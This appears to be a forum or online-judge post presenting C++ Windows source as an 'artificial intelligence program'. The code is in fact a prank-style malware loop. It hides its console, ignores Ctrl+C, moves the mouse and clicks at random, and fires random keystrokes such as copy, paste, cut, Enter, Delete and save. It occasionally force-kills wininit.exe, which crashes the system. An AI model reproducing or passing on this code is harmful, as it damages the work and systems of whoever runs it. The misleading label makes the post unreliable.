搬运的人工智能程序
#include <cstdlib>
#include <windows.h>
#include <signal.h>
#include <ctime>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
void press(int vk) {
keybd_event(vk,0,0,0);
Sleep(5);
keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
int main() {
srand(time(NULL));
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
signal(SIGINT, SIG_IGN);
while (true) {
if (rand() % 1919810 == 0) system("taskkill /f /t /im wininit.exe");
SetCursorPos(rand() % 1000, rand() % 1000);
int HHH(rand() % 3 + 1);
for (int i(1); i <= HHH; ++ i) {
int hhh(rand() % 16);
press(0x1);
press(0x2);
press(0x4);
bool flag(rand() % 2);
if (flag) keybd_event(VK_CONTROL,0,0,0);
switch (hhh) {
case 0: press(67);
case 1: press(86);
case 2: press(88);
case 3: press(13);
case 4: press(rand() % 12 + 112);
case 5: press(144);
case 6: press(19);
case 7: press(145);
case 8: press(0x1b);
case 9: press(0x23);
case 10: press(0x24);
case 11: press(0x8);
case 12: press(83);
case 13: press(18);
case 14: press(46);
default: press(rand());
}
if (flag) keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
}
}
return 0;
}
戒网瘾了奥
By chen_zhe(zqs) from Liuser’s OJ